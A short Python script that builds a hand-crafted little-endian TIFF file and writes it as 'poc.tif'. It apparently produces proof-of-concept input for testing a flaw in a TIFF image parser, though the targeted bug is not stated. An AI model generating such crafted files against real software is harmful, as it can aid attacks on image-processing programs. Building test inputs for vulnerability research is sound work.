1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
import struct
# TIFF小端头
header = b'II' + struct.pack('<H', 42) + struct.pack('<I', 8)
def dir_entry(tag, typ, count, val_or_off):
return struct.pack('<HHII', tag, typ, count, val_or_off)
ifd_offset = 8
num_entries = 9
ifd_entries_size = num_entries * 12
next_ifd_ptr_offset = ifd_offset + 2 + ifd_entries_size
image_data_offset = next_ifd_ptr_offset + 4
entries = []
entries.append(dir_entry(256, 3, 1, 101))
entries.append(dir_entry(257, 3, 1, 1))
entries.append(dir_entry(258, 3, 1, 8))
entries.append(dir_entry(259, 3, 1, 1))
entries.append(dir_entry(262, 3, 1, 1))
entries.append(dir_entry(273, 4, 1, image_data_offset))
entries.append(dir_entry(277, 3, 1, 1))
entries.append(dir_entry(278, 4, 1, 1))
image_width = 101
entries.append(dir_entry(279, 4, 1, image_width))
ifd = struct.pack('<H', num_entries) + b''.join(entries) + struct.pack('<I', 0)
image_data = b'A' * image_width
tiff = header + ifd + image_data
with open('poc.tif', 'wb') as f:
f.write(tiff)
|